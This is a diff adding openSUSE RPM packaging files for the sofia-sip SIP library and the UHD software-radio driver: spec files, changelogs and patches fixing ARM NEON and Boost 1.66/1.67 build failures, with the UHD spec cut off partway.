+- Stop using source service to download the tarball, as Factory
+ will move away from this.
+
+-------------------------------------------------------------------
+Fri Apr 29 22:40:31 UTC 2011 - dimstar@opensuse.org
+
+- Update to version 1.12.11:
+ + Application can feed hashed passwords (HA1) instead of plain
+ text password to the iptsec authentication library.
+ + Using NTATAG_EXTRA_100() with server transactions. Applications
+ can now control whether stack sends extra 100 Trying responses
+ after N1 timer or retransmissions.
+ + nta_leg_tag(leg, NULL) now always returns the tag (old or new).
+ + SOA uses addresses present in SDP if they are local.
+ + Deferrable timers were added.
+ + Timing out forked INVITE client transactions is now done by
+ stack.
+ + An INVITE transaction that has been timed out with stack timer
+ C is now CANCELed automatically. Previously, such INVITE client
+ transactions were restarted instead of timing out under certain
+ circumstances.
+ + Added s2check library for writing check-based module tests for
+ network protocols.
+ + User Via header with NULL host and port gets filled
+ automatically.
+- Use source services: download_url, recompress, set_version.
+
+-------------------------------------------------------------------
+Sat Jan 17 04:05:18 CET 2009 - crrodriguez@suse.de
+
+- remove "la" files
+
+-------------------------------------------------------------------
+Wed Dec 24 07:05:22 EST 2008 - mboman@suse.de
+
+- Update to version 1.12.10:
+ + Numerous bugs has been fixed.
+ + Some API additions/changes (API/ABI compatible)
+
+-------------------------------------------------------------------
+Thu Jul 31 15:38:32 EDT 2008 - hfiguiere@suse.de
+
+- Upgrade to 1.12.9
+ * Better NAT traversal
+ * Lot of bug fixes
+ * Lot of small API additions (API/ABI compatible)
+
+-------------------------------------------------------------------
+Mon Jun 4 16:00:11 CEST 2007 - mrueckert@suse.de
+
+- added ldconfig call for the glib package and postun
+- removed ldconfig call for devel package
+- disable static libs
+- move to the new library packaging policy
+- *-utils package is now sofia-sip (provides for the old name is set)
+
+-------------------------------------------------------------------
+Sat May 12 22:08:19 CEST 2007 - mrueckert@suse.de
+
+- update to version 1.12.6
+
+-------------------------------------------------------------------
+Mon Apr 2 04:56:33 CEST 2007 - mrueckert@suse.de
+
+- update to version 1.12.5
+
+-------------------------------------------------------------------
+Sat Dec 2 12:26:54 CET 2006 - mrueckert@suse.de
+
+- update to version 1.12.4
+- build with -fno-strict-aliasing
+- properly put the conditionals for glib2 on sles9
+
+-------------------------------------------------------------------
+Tue Oct 3 22:06:54 CEST 2006 - mrueckert@suse.de
+
+- update to version 1.12.3
+
+-------------------------------------------------------------------
+Sat Sep 30 02:16:19 CEST 2006 - mrueckert@suse.de
+
+- Initial package of version 1.12.2
+
diff --git a/rpm-local/spec/sofia-sip/sofia-sip.spec b/rpm-local/spec/sofia-sip/sofia-sip.spec
new file mode 100644
index 0000000..4cb46d6
--- /dev/null
+++ b/rpm-local/spec/sofia-sip/sofia-sip.spec
@@ -0,0 +1,235 @@
+#
+# spec file for package sofia-sip
+#
+# Copyright (c) 2013 SUSE LINUX Products GmbH, Nuernberg, Germany.
+#
+# All modifications and additions to the file contributed by third parties
+# remain the property of their copyright owners, unless otherwise agreed
+# upon. The license for this file, and modifications and additions to the
+# file, is the same license as for the pristine package itself (unless the
+# license for the pristine package is not an Open Source License, in which
+# case the license is the MIT License). An "Open Source License" is a
+# license that conforms to the Open Source Definition (Version 1.9)
+# published by the Open Source Initiative.
+
+# Please submit bugfixes or comments via http://bugs.opensuse.org/
+#
+
+
+Name: sofia-sip
+Version: 1.12.11
+Release: 0
+%define pkg_major 1.12
+#
+#
+BuildRoot: %{_tmppath}/%{name}-%{version}-build
+%define with_doxygen 0
+%if 0%{?sles_version} == 9
+%define with_glib 0
+%else
+%define with_glib 1
+%endif
+BuildRequires: gcc-c++
+BuildRequires: openssl-devel
+%if 0%{?with_glib}
+BuildRequires: glib2-devel
+%endif
+%if 0%{?with_doxygen}
+BuildRequires: doxygen
+BuildRequires: graphviz
+%endif
+Provides: %{name}-utils = %{version}-%{release}
+#
+Url: http://sofia-sip.sf.net/
+Source: http://prdownloads.sourceforge.net/sofia-sip/sofia-sip-%{version}.tar.gz
+#
+Summary: A RFC3261 compliant SIP User-Agent library
+License: LGPL-2.1+
+Group: Development/Libraries/C and C++
+
+%description
+Sofia-SIP is an open-source SIP User-Agent library, compliant with the
+IETF RFC3261 specification. It can be used as a building block for SIP
+client software for uses such as VoIP, IM, and many other real-time and
+person-to-person communication services. The primary target platform
+for Sofia-SIP is GNU/Linux. Sofia-SIP is based on a SIP stack developed
+at the Nokia Research Center.
+
+This package holds the cli tools what ship with sofia-sip.
+
+
+
+Authors:
+--------
+ Pekka Pessi <pekka.pessi -at nokia -dot com>
+ Martti Mela <martti.mela -at nokia -dot com>
+ Kai Vehmanen <kai.vehmanen -at nokia -dot com>
+
+%package devel
+Requires: libsofia-sip-ua0 = %{version}
+%if 0%{?with_glib}
+Requires: glib2-devel
+Requires: libsofia-sip-ua-glib3 = %{version}
+%endif
+Requires: openssl-devel
+#
+Summary: Development files for sofia-sip
+Group: Development/Libraries/C and C++
+
+%description devel
+Sofia-SIP is an open-source SIP User-Agent library, compliant with the
+IETF RFC3261 specification. It can be used as a building block for SIP
+client software for uses such as VoIP, IM, and many other real-time and
+person-to-person communication services. The primary target platform
+for Sofia-SIP is GNU/Linux. Sofia-SIP is based on a SIP stack developed
+at the Nokia Research Center.
+
+This package holds the development files.
+
+
+
+Authors:
+--------
+ Pekka Pessi <pekka.pessi -at nokia -dot com>
+ Martti Mela <martti.mela -at nokia -dot com>
+ Kai Vehmanen <kai.vehmanen -at nokia -dot com>
+
+%package -n libsofia-sip-ua0
+#
+Summary: A RFC3261 compliant SIP User-Agent library
+Group: Development/Libraries/C and C++
+
+%description -n libsofia-sip-ua0
+Sofia-SIP is an open-source SIP User-Agent library, compliant with the
+IETF RFC3261 specification. It can be used as a building block for SIP
+client software for uses such as VoIP, IM, and many other real-time and
+person-to-person communication services. The primary target platform
+for Sofia-SIP is GNU/Linux. Sofia-SIP is based on a SIP stack developed
+at the Nokia Research Center.
+
+This package holds the shared libraries.
+
+
+
+Authors:
+--------
+ Pekka Pessi <pekka.pessi -at nokia -dot com>
+ Martti Mela <martti.mela -at nokia -dot com>
+ Kai Vehmanen <kai.vehmanen -at nokia -dot com>
+
+%if 0%{?with_glib}
+
+%package -n libsofia-sip-ua-glib3
+Provides: %{name}-glib = %{version}-%{release}
+#
+Summary: A RFC3261 compliant SIP User-Agent library (glib2 bindings)
+Group: Development/Libraries/C and C++
+
+%description -n libsofia-sip-ua-glib3
+Sofia-SIP is an open-source SIP User-Agent library, compliant with the
+IETF RFC3261 specification. It can be used as a building block for SIP
+client software for uses such as VoIP, IM, and many other real-time and
+person-to-person communication services. The primary target platform
+for Sofia-SIP is GNU/Linux. Sofia-SIP is based on a SIP stack developed
+at the Nokia Research Center.
+
+This package holds the glib2 bindings.
+
+
+
+Authors:
+--------
+ Pekka Pessi <pekka.pessi -at nokia -dot com>
+ Martti Mela <martti.mela -at nokia -dot com>
+ Kai Vehmanen <kai.vehmanen -at nokia -dot com>
+
+%endif
+
+%prep
+%setup
+
+%build
+%configure --disable-static
+# TODO: --enable-ntlm --with-rt
+# TODO: where to find the needed lib: --with-sigcomp
+# TODO: what kernel headers do we need? --enable-sctp
+%{__make}
+%if 0%{?with_doxygen}
+%{__make} doxygen
+%endif
+
+%check
+#%{__make} check
+
+%install
+%makeinstall
+%{__install} -d -m 0755 %{buildroot}%{_docdir}/%{name}/
+%{__cp} -av AUTHORS ChangeLog* COPYING COPYRIGHTS README* RELEASE TODO %{buildroot}%{_docdir}/%{name}/
+%if 0%{?with_doxygen}
+%{__cp} -av libsofia-sip-ua/docs/html %{buildroot}%{_docdir}/%{name}/manual
+%endif
+%{__rm} -vf %{buildroot}%{_libdir}/*.la
+
+%post -n libsofia-sip-ua0 -p /sbin/ldconfig
+
+%postun -n libsofia-sip-ua0 -p /sbin/ldconfig
+%if 0%{?with_glib}
+
+%post -n libsofia-sip-ua-glib3 -p /sbin/ldconfig
+
+%postun -n libsofia-sip-ua-glib3 -p /sbin/ldconfig
+%endif
+
+%clean
+%{__rm} -rf %{buildroot}
+
+%files -n libsofia-sip-ua0
+%defattr(-,root,root,-)
+%{_libdir}/libsofia-sip-ua.so.0*
+%dir %{_docdir}/%{name}/
+%doc %{_docdir}/%{name}/AUTHORS
+%doc %{_docdir}/%{name}/ChangeLog*
+%doc %{_docdir}/%{name}/COPYING
+%doc %{_docdir}/%{name}/COPYRIGHTS
+%doc %{_docdir}/%{name}/README*
+%doc %{_docdir}/%{name}/RELEASE
+%doc %{_docdir}/%{name}/TODO
+
+%files
+%defattr(-,root,root,-)
+%{_bindir}/addrinfo
+%{_bindir}/localinfo
+%{_bindir}/sip-date
+%{_bindir}/sip-dig
+%{_bindir}/sip-options
+%{_bindir}/stunc
+%{_mandir}/man1/addrinfo.1*
+%{_mandir}/man1/localinfo.1*
+%{_mandir}/man1/sip-date.1*
+%{_mandir}/man1/sip-dig.1*
+%{_mandir}/man1/sip-options.1*
+%{_mandir}/man1/stunc.1*
+%if 0%{?with_glib}
+
+%files -n libsofia-sip-ua-glib3
+%defattr(-,root,root,-)
+%{_libdir}/libsofia-sip-ua-glib.so.3*
+%endif
+
+%files devel
+%defattr(-,root,root,-)
+%dir %{_includedir}/sofia-sip-%{pkg_major}/
+%{_includedir}/sofia-sip-%{pkg_major}/sofia-sip/
+%{_includedir}/sofia-sip-%{pkg_major}/sofia-resolv/
+%{_libdir}/libsofia-sip-ua.so
+%if 0%{?with_glib}
+%{_libdir}/libsofia-sip-ua-glib.so
+%{_libdir}/pkgconfig/sofia-sip-ua-glib.pc
+%endif
+%{_libdir}/pkgconfig/sofia-sip-ua.pc
+%{_datadir}/sofia-sip/
+%if 0%{?with_doxygen}
+%doc %{_docdir}/%{name}/manual
+%endif
+
+%changelog
diff --git a/rpm-local/spec/uhd/fix-for-armv6l-armv7l-build-failure.patch b/rpm-local/spec/uhd/fix-for-armv6l-armv7l-build-failure.patch
new file mode 100644
index 0000000..0587697
--- /dev/null
+++ b/rpm-local/spec/uhd/fix-for-armv6l-armv7l-build-failure.patch
@@ -0,0 +1,23 @@
+From: Victhor Foster <victhor.foster@gmail.com>
+Date: 2016-12-04 00:06:22 -0300
+Subject: uhd: fix build failure on armv6l and armv7l
+References:
+Upstream: no
+
+Fix for build failure on armv6l and armv7 architectures
+
+---
+ lib/convert/CMakeLists.txt | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+--- a/lib/convert/CMakeLists.txt 2016-12-04 00:06:14.869529185 -0300
++++ b/lib/convert/CMakeLists.txt 2016-12-04 00:06:02.025634839 -0300
+@@ -62,7 +62,7 @@
+
+ IF(HAVE_ARM_NEON_H AND (${CMAKE_SIZEOF_VOID_P} EQUAL 4))
+ ENABLE_LANGUAGE(ASM)
+-
++ SET(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} -mfpu=neon")
+ LIBUHD_APPEND_SOURCES(
+ ${CMAKE_CURRENT_SOURCE_DIR}/convert_with_neon.cpp
+ ${CMAKE_CURRENT_SOURCE_DIR}/convert_neon.S
diff --git a/rpm-local/spec/uhd/uhd-fix-for-boost-1_66.patch b/rpm-local/spec/uhd/uhd-fix-for-boost-1_66.patch
new file mode 100644
index 0000000..5a37982
--- /dev/null
+++ b/rpm-local/spec/uhd/uhd-fix-for-boost-1_66.patch
@@ -0,0 +1,57 @@
+diff -up uhd_3.9.7-release/examples/network_relay.cpp.boost166 uhd_3.9.7-release/examples/network_relay.cpp
+--- uhd_3.9.7-release/examples/network_relay.cpp.boost166 2017-12-28 18:48:58.000000000 +0100
++++ uhd_3.9.7-release/examples/network_relay.cpp 2017-12-28 18:49:55.000000000 +0100
+@@ -127,7 +127,7 @@ private:
+ wait_for_thread.notify_one(); // notify constructor that this thread has started
+ std::vector<char> buff(insane_mtu);
+ while (not boost::this_thread::interruption_requested()){
+- if (wait_for_recv_ready(_server_socket->native())){
++ if (wait_for_recv_ready(_server_socket->native_handle())){
+ boost::mutex::scoped_lock lock(_endpoint_mutex);
+ const size_t len = _server_socket->receive_from(asio::buffer(&buff.front(), buff.size()), _endpoint);
+ lock.unlock();
+@@ -153,7 +153,7 @@ private:
+ wait_for_thread.notify_one(); // notify constructor that this thread has started
+ std::vector<char> buff(insane_mtu);
+ while (not boost::this_thread::interruption_requested()){
+- if (wait_for_recv_ready(_client_socket->native())){
++ if (wait_for_recv_ready(_client_socket->native_handle())){
+ const size_t len = _client_socket->receive(asio::buffer(&buff.front(), buff.size()));
+ boost::mutex::scoped_lock lock(_endpoint_mutex);
+ _server_socket->send_to(asio::buffer(&buff.front(), len), _endpoint);
+diff -up uhd_3.9.7-release/lib/transport/tcp_zero_copy.cpp.boost166 uhd_3.9.7-release/lib/transport/tcp_zero_copy.cpp
+--- uhd_3.9.7-release/lib/transport/tcp_zero_copy.cpp.boost166 2017-12-28 18:54:11.000000000 +0100
++++ uhd_3.9.7-release/lib/transport/tcp_zero_copy.cpp 2017-12-28 18:54:30.000000000 +0100
+@@ -154,7 +154,7 @@ public:
+ //create, open, and connect the socket
+ _socket.reset(new asio::ip::tcp::socket(_io_service));
+ _socket->connect(receiver_endpoint);
+- _sock_fd = _socket->native();
++ _sock_fd = _socket->native_handle();
+
+ //packets go out ASAP
+ asio::ip::tcp::no_delay option(true);
+diff -up uhd_3.9.7-release/lib/transport/udp_simple.cpp.boost166 uhd_3.9.7-release/lib/transport/udp_simple.cpp
+--- uhd_3.9.7-release/lib/transport/udp_simple.cpp.boost166 2017-12-28 19:24:30.000000000 +0100
++++ uhd_3.9.7-release/lib/transport/udp_simple.cpp 2017-12-28 19:24:42.000000000 +0100
+@@ -56,7 +56,7 @@ public:
+ }
+
+ size_t recv(const asio::mutable_buffer &buff, double timeout){
+- if (not wait_for_recv_ready(_socket->native(), timeout)) return 0;
++ if (not wait_for_recv_ready(_socket->native_handle(), timeout)) return 0;
+ return _socket->receive_from(asio::buffer(buff), _recv_endpoint);
+ }
+
+diff -up uhd_3.9.7-release/lib/transport/udp_zero_copy.cpp.boost166 uhd_3.9.7-release/lib/transport/udp_zero_copy.cpp
+--- uhd_3.9.7-release/lib/transport/udp_zero_copy.cpp.boost166 2017-12-28 18:50:43.000000000 +0100
++++ uhd_3.9.7-release/lib/transport/udp_zero_copy.cpp 2017-12-28 18:51:09.000000000 +0100
+@@ -190,7 +190,7 @@ public:
+ _socket = socket_sptr(new asio::ip::udp::socket(_io_service));
+ _socket->open(asio::ip::udp::v4());
+ _socket->connect(receiver_endpoint);
+- _sock_fd = _socket->native();
++ _sock_fd = _socket->native_handle();
+
+ //allocate re-usable managed receive buffers
+ for (size_t i = 0; i < get_num_recv_frames(); i++){
diff --git a/rpm-local/spec/uhd/uhd-fix-for-boost-1_67.patch b/rpm-local/spec/uhd/uhd-fix-for-boost-1_67.patch
new file mode 100644
index 0000000..8573a9a
--- /dev/null
+++ b/rpm-local/spec/uhd/uhd-fix-for-boost-1_67.patch
@@ -0,0 +1,79 @@
+Index: uhd_3.9.7-release/lib/usrp/x300/x300_impl.cpp
+===================================================================
+--- uhd_3.9.7-release.orig/lib/usrp/x300/x300_impl.cpp
++++ uhd_3.9.7-release/lib/usrp/x300/x300_impl.cpp
+@@ -1486,7 +1486,7 @@ void x300_impl::sync_times(mboard_member
+
+ bool x300_impl::wait_for_clk_locked(mboard_members_t& mb, boost::uint32_t which, double timeout)
+ {
+- boost::system_time timeout_time = boost::get_system_time() + boost::posix_time::milliseconds(timeout * 1000.0);
++ boost::system_time timeout_time = boost::get_system_time() + boost::posix_time::milliseconds(static_cast<long>(timeout * 1000));
+ do {
+ if (mb.fw_regmap->clock_status_reg.read(which)==1)
+ return true;
+Index: uhd_3.9.7-release/examples/benchmark_rate.cpp
+===================================================================
+--- uhd_3.9.7-release.orig/examples/benchmark_rate.cpp
++++ uhd_3.9.7-release/examples/benchmark_rate.cpp
+@@ -364,7 +364,7 @@ int UHD_SAFE_MAIN(int argc, char *argv[]
+ if(ref != "internal") {
+ std::cout << "Now confirming lock on clock signals..." << std::endl;
+ bool is_locked = false;
+- boost::system_time end_time = boost::get_system_time() + boost::posix_time::milliseconds(CLOCK_TIMEOUT);
++ boost::system_time end_time = boost::get_system_time() + boost::posix_time::microseconds(static_cast<long>(1000*CLOCK_TIMEOUT));
+ for (int i = 0; i < num_mboards; i++) {
+ if (ref == "mimo" and i == 0) continue;
+ while((is_locked = usrp->get_mboard_sensor("ref_locked",i).to_bool()) == false and
+@@ -471,7 +471,7 @@ int UHD_SAFE_MAIN(int argc, char *argv[]
+ const long usecs = long((duration - secs)*1e6);
+ boost::this_thread::sleep(boost::posix_time::seconds(secs)
+ + boost::posix_time::microseconds(usecs)
+- + boost::posix_time::milliseconds( (rx_channel_nums.size() <= 1 and tx_channel_nums.size() <= 1) ? 0 : (INIT_DELAY * 1000))
++ + boost::posix_time::milliseconds( (rx_channel_nums.size() <= 1 and tx_channel_nums.size() <= 1) ? 0 : static_cast<long>((INIT_DELAY * 1000)))
+ );
+
+ //interrupt and join the threads
+Index: uhd_3.9.7-release/examples/tx_samples_from_file.cpp
+===================================================================
+--- uhd_3.9.7-release.orig/examples/tx_samples_from_file.cpp
++++ uhd_3.9.7-release/examples/tx_samples_from_file.cpp
+@@ -199,7 +199,7 @@ int UHD_SAFE_MAIN(int argc, char *argv[]
+ else if (type == "short") send_from_file<std::complex<short> >(tx_stream, file, spb);
+ else throw std::runtime_error("Unknown type " + type);
+
+- if(repeat and delay != 0.0) boost::this_thread::sleep(boost::posix_time::milliseconds(delay));
++ if(repeat and delay != 0.0) boost::this_thread::sleep(boost::posix_time::microseconds(static_cast<long>(1000*delay)));
+ } while(repeat and not stop_signal_called);
+
+ //finished
+Index: uhd_3.9.7-release/examples/rx_samples_to_file.cpp
+===================================================================
+--- uhd_3.9.7-release.orig/examples/rx_samples_to_file.cpp
++++ uhd_3.9.7-release/examples/rx_samples_to_file.cpp
+@@ -182,7 +182,7 @@ bool check_locked_sensor(std::vector<std
+
+ while (true) {
+ if ((not first_lock_time.is_not_a_date_time()) and
+- (boost::get_system_time() > (first_lock_time + boost::posix_time::seconds(setup_time))))
++ (boost::get_system_time() > (first_lock_time + boost::posix_time::milliseconds(static_cast<long>(1000*setup_time)))))
+ {
+ std::cout << " locked." << std::endl;
+ break;
+@@ -196,7 +196,7 @@ bool check_locked_sensor(std::vector<std
+ else {
+ first_lock_time = boost::system_time(); //reset to 'not a date time'
+
+- if (boost::get_system_time() > (start + boost::posix_time::seconds(setup_time))){
++ if (boost::get_system_time() > (start + boost::posix_time::milliseconds(static_cast<long>(setup_time)))){
+ std::cout << std::endl;
+ throw std::runtime_error(str(boost::format("timed out waiting for consecutive locks on sensor \"%s\"") % sensor_name));
+ }
+@@ -317,7 +317,7 @@ int UHD_SAFE_MAIN(int argc, char *argv[]
+ //set the antenna
+ if (vm.count("ant")) usrp->set_rx_antenna(ant);
+
+- boost::this_thread::sleep(boost::posix_time::seconds(setup_time)); //allow for some setup time
++ boost::this_thread::sleep(boost::posix_time::milliseconds(static_cast<long>(1000*setup_time))); //allow for some setup time
+
+ //check Ref and LO Lock detect
+ if (not vm.count("skip-lo")){
diff --git a/rpm-local/spec/uhd/uhd.changes b/rpm-local/spec/uhd/uhd.changes
new file mode 100644
index 0000000..f2c5b96
--- /dev/null
+++ b/rpm-local/spec/uhd/uhd.changes
@@ -0,0 +1,221 @@
+-------------------------------------------------------------------
+Mon Feb 3 16:44:52 UTC 2020 - Dominique Leuenberger <dimstar@opensuse.org>
+
+- BuildRequire pkgconfig(udev) instead of udev: allow OBS to
+ shortcut through -mini flavors.
+
+-------------------------------------------------------------------
+Sat Mar 23 13:27:49 UTC 2019 - Wojciech Kazubski <wk@ire.pw.edu.pl>
+
+- Fixed build for Boost 1.69
+
+-------------------------------------------------------------------
+Fri Dec 28 12:21:29 UTC 2018 - mardnh@gmx.de
+
+- Disable support for GPSD in uhd for now.
+ gps support is not yet adapted to the latest gpsd API.
+
+-------------------------------------------------------------------
+Tue May 29 11:03:42 UTC 2018 - adam.majer@suse.de
+
+- fixed build with Boost 1.67 (bsc#1089820)
+ uhd-fix-for-boost-1_67.patch
+- drop _constraints and use memory-constraints package instead.
+- re-enabled package tests
+
+-------------------------------------------------------------------
+Sat Jan 13 15:32:26 UTC 2018 - mardnh@gmx.de
+
+- Force usage of python2 during build
+
+-------------------------------------------------------------------
+Wed Jan 3 13:16:23 UTC 2018 - mardnh@gmx.de
+
+- Adjust _constraints to set required memory to 6Gb
+
+-------------------------------------------------------------------
+Thu Dec 28 21:15:46 UTC 2017 - wk@ire.pw.edu.pl
+
+- fixed build with boost-1.66
+ patch uhd-fix-for-boost-1_66.patch backported from git
+
+-------------------------------------------------------------------
+Fri Jul 21 22:07:10 UTC 2017 - wk@ire.pw.edu.pl
+
+- Updated sources to version 3.9.7
+- enabled GPSD support
+
+-------------------------------------------------------------------
+Thu May 4 13:52:50 UTC 2017 - wk@ire.pw.edu.pl
+
+- Force docutils to use python2 on Tumbleweed
+
+-------------------------------------------------------------------
+Fri Feb 3 16:14:09 UTC 2017 - jengelh@inai.de
+
+- Directly invoke ldconfig and don't suppress output from groupadd.
+
+-------------------------------------------------------------------
+Thu Feb 2 15:13:46 UTC 2017 - adam.majer@suse.de
+
+- use individual libboost-*-devel packages instead of boost-devel
+
+-------------------------------------------------------------------
+Tue Dec 13 13:06:09 UTC 2016 - victhor.foster@gmail.com
+
+- Add fix-for-armv6l-armv7l-build-failure.patch, adds -mfpu=neon compiler flag to package
+ Fixes build failure on armv6l and armv7l architectures
+
+-------------------------------------------------------------------
+Sat Sep 3 19:32:09 UTC 2016 - wk@ire.pw.edu.pl
+
+- Update sources to version 3.9.5
+
+-------------------------------------------------------------------
+Sun Jul 3 12:54:44 UTC 2016 - opensuse.lietuviu.kalba@gmail.com
+
+- %pre script requires /usr/sbin/groupadd from "shadow" package
+
+-------------------------------------------------------------------
+Sat May 7 22:38:01 UTC 2016 - wk@ire.pw.edu.pl
+
+- Update sources to version 3.9.4
+
+-------------------------------------------------------------------
+Wed Mar 23 23:01:19 UTC 2016 - wk@ire.pw.edu.pl
+
+- Update sources to version 3.9.3
+
+-------------------------------------------------------------------
+Thu Dec 31 10:22:49 UTC 2015 - wk@ire.pw.edu.pl
+
+- Update sources to version 3.9.2
+- Drop 0003-uhd-C-API-wrapper-fix-commit-30f87afcba71a07.patch:
+ included upstream
+
+-------------------------------------------------------------------
+Sun Dec 27 22:45:13 UTC 2015 - mardnh@gmx.de
+
+- Add patch for correctly installing the C-API header files
+ * 0003-uhd-C-API-wrapper-fix-commit-30f87afcba71a07.patch
+
+-------------------------------------------------------------------
+Sat Sep 26 08:00:37 UTC 2015 - wk@ire.pw.edu.pl
+
+- Update sources to version 3.9.1
+- arm-neon.patch patch removed
+
+-------------------------------------------------------------------
+Thu Sep 10 21:30:21 UTC 2015 - wk@ire.pw.edu.pl
+
+- Update sources to version 3.9.0
+
+-------------------------------------------------------------------
+Tue Aug 18 23:08:51 UTC 2015 - wk@ire.pw.edu.pl
+
+- Update sources to version 3.8.5
+
+-------------------------------------------------------------------
+Wed Aug 12 12:34:58 UTC 2015 - schwab@suse.de
+
+- arm-neon.patch: don't use 32-bit arm code on 64-bit arm
+
+-------------------------------------------------------------------
+Sat Jun 20 09:53:26 UTC 2015 - dmitry_r@opensuse.org
+
+- Add _constraints to set required memory to 3Gb
+
+-------------------------------------------------------------------
+Sat May 16 07:07:10 UTC 2015 - wk@ire.pw.edu.pl
+
+- Update sources to version 3.8.4
+
+-------------------------------------------------------------------
+Wed Feb 18 23:53:30 UTC 2015 - wk@ire.pw.edu.pl
+
+- Update sources to version 3.8.2
+
+-------------------------------------------------------------------
+Thu Jan 29 21:28:34 UTC 2015 - wk@ire.pw.edu.pl
+
+- Update to version 3.8.1
+ * firmware images are from 3.8.2
+
+-------------------------------------------------------------------
+Thu Oct 23 19:51:56 UTC 2014 - wk@ire.pw.edu.pl
+
+- Update to version 3.7.3
+ * firmware images are from 3.7.2
+
+-------------------------------------------------------------------
+Mon Sep 1 22:22:58 UTC 2014 - wk@ire.pw.edu.pl
+
+- Update to version 3.7.2
+ * bugfix release
+
+-------------------------------------------------------------------
+Wed Aug 20 08:37:28 UTC 2014 - dmitry_r@opensuse.org
+
+- Cleanup spec file
+- Remove OBS source service
+- Use %cmake macros
+- Move udev rules to uhd-udev package according to shared library
+ packaging policy
+- Remove buildtime from documentation
+
+-------------------------------------------------------------------
+Wed Apr 2 21:17:08 UTC 2014 - wk@ire.pw.edu.pl
+
+- Update to version 3.7.0
+
+-------------------------------------------------------------------
+Thu Jan 30 12:30:52 UTC 2014 - lnt-sysadmin@lists.lrz.de
+
+- Changes to spec file:
+ * Use full path when calling groupadd
+
+-------------------------------------------------------------------
+Wed Jan 29 13:25:24 UTC 2014 - opensuse@dstoecker.de
+
+- uhd-devel needs boost
+
+-------------------------------------------------------------------
+Sun Nov 3 04:58:02 UTC 2013 - lnt-sysadmin@lists.lrz.de
+
+- Update to version 3.5.4
+- Changes to spec file:
+ * Update udev paths for openSUSE 13.1 and ensure udev rules are
+ updated when package is installed / updated / uninstalled.
+ * Add %check section (currently disabled due to failures in 13.1)
+ * Find file dupes also in %_bindir
+
+-------------------------------------------------------------------
+Fri Apr 12 07:54:53 UTC 2013 - lnt-sysadmin@lists.lrz.de
+
+- Update to version 3.5.2
+- Added Ettus firmware images (version 3.5.2)
+- Changes to spec file:
+ * pass %optflags to cmake according to
+ http://en.opensuse.org/openSUSE:Build_system_recipes
+ * fixed search for duplicate files
+
+-------------------------------------------------------------------
+Tue Nov 7 2012 - wk@ire.pw.edu.pl
+
+- updated to 3.5.0
+- fixed some rpmlint warnings
+
+-------------------------------------------------------------------
+Mon Oct 23 2012 - wk@ire.pw.edu.pl
+
+- install udev rule (from Fedora)
+
+-------------------------------------------------------------------
+Sat Oct 21 2012 - wk@ire.pw.edu.pl
+
+- updated to 3.4.3
+
+-------------------------------------------------------------------
+Fri Jun 15 2012 - surligas@csd.uoc.gr
+
+- packaged libuhd version 3.4.2
diff --git a/rpm-local/spec/uhd/uhd.spec b/rpm-local/spec/uhd/uhd.spec
new file mode 100644
index 0000000..32e3405
--- /dev/null
+++ b/rpm-local/spec/uhd/uhd.spec
@@ -0,0 +1,233 @@
+#
+# spec file for package uhd
+#
+# Copyright (c) 2020 SUSE LLC
+#
+# All modifications and additions to the file contributed by third parties
+# remain the property of their copyright owners, unless otherwise agreed
+# upon. The license for this file, and modifications and additions to the
+# file, is the same license as for the pristine package itself (unless the
+# license for the pristine package is not an Open Source License, in which
+# case the license is the MIT License). An "Open Source License" is a
+# license that conforms to the Open Source Definition (Version 1.9)
+# published by the Open Source Initiative.
+
+# Please submit bugfixes or comments via https://bugs.opensuse.org/
+#
+
+
+Name: uhd
+%define libname libuhd003
+Version: 3.9.7
+Release: 0
+%define src_ver 003.009.007
+%define img_ver 003.009.007
+Summary: The driver for USRP SDR boards
+License: GPL-3.0-or-later
+Group: Hardware/Other
+URL: http://ettus-apps.sourcerepo.com/redmine/ettus/projects/uhd/wiki
+Source0: http://files.ettus.com/binaries/uhd_stable/uhd_%{src_ver}-release/uhd_%{version}-release.tar.gz
+Source1: http://files.ettus.com/binaries/images/uhd-images_%{img_ver}-release.tar.xz
+# PATCH-FIX-OPENSUSE fix-for-armv6l-armv7l-build-failure.patch
+Patch0: fix-for-armv6l-armv7l-build-failure.patch
+# PATCH-FIX-OPENSUSE uhd-fix-for-boost-1_66.patch
+Patch1: uhd-fix-for-boost-1_66.patch
+Patch2: uhd-fix-for-boost-1_67.patch
+%if 0%{?suse_version} > 1325
+BuildRequires: libboost_filesystem-devel
+BuildRequires: libboost_program_options-devel
+BuildRequires: libboost_regex-devel
+BuildRequires: libboost_serialization-devel
+BuildRequires: libboost_system-devel
+BuildRequires: libboost_test-devel
+BuildRequires: libboost_thread-devel
+# WORKAROUND: force docutils to use python 2
+BuildRequires: python2-docutils
+%else
+BuildRequires: boost-devel >= 1.36.0
+%endif
+BuildRequires: cmake >= 2.6
+BuildRequires: docutils
+BuildRequires: doxygen
+BuildRequires: fdupes
+BuildRequires: gcc-c++
+BuildRequires: gpsd-devel
+BuildRequires: memory-constraints
+BuildRequires: orc
+BuildRequires: pkg-config
+BuildRequires: python-Mako >= 0.4
+BuildRequires: python-cheetah >= 2.0.0
+BuildRequires: python-devel >= 2.6
+BuildRequires: pkgconfig(libusb-1.0)
+BuildRequires: pkgconfig(libxml-2.0)
+BuildRequires: pkgconfig(udev)
+Requires: udev
+BuildRoot: %{_tmppath}/%{name}-%{version}-build
+
+%description
+The UHD is the "Universal Software Radio Peripheral" hardware driver.
+The goal of the UHD is to provide a host driver and API for current
+and future Ettus Research products. Users will be able to use the
+UHD driver standalone or with 3rd party applications.
+
+%package -n %{libname}
+Summary: The UHD driver
+Group: Hardware/Other
+Requires: %{name}-udev >= %{version}
+# PRE script requires /usr/sbin/groupadd, that exists in the "shadow" package
+Requires(pre): shadow
+
+%description -n %{libname}
+The UHD is the "Universal Software Radio Peripheral" hardware driver.
+The goal of the UHD is to provide a host driver and API for current
+and future Ettus Research products. Users will be able to use the
+UHD driver standalone or with 3rd party applications.
+
+%package udev
+Summary: UHD udev rules
+Group: Hardware/Other
+
+%description udev
+The UHD is the "Universal Software Radio Peripheral" hardware driver.
+The goal of the UHD is to provide a host driver and API for current
+and future Ettus Research products. Users will be able to use the
+UHD driver standalone or with 3rd party applications.
+
+This package contains udev rules for UHD.
+
+%package devel
+Summary: Development files for uhd
+Group: Development/Libraries/Other
+Requires: %{libname} = %{version}
+%if 0%{?suse_version} > 1325
+Requires: libboost_filesystem-devel
+Requires: libboost_program_options-devel
+Requires: libboost_regex-devel
+Requires: libboost_serialization-devel
+Requires: libboost_test-devel
+Requires: libboost_thread-devel
+%else
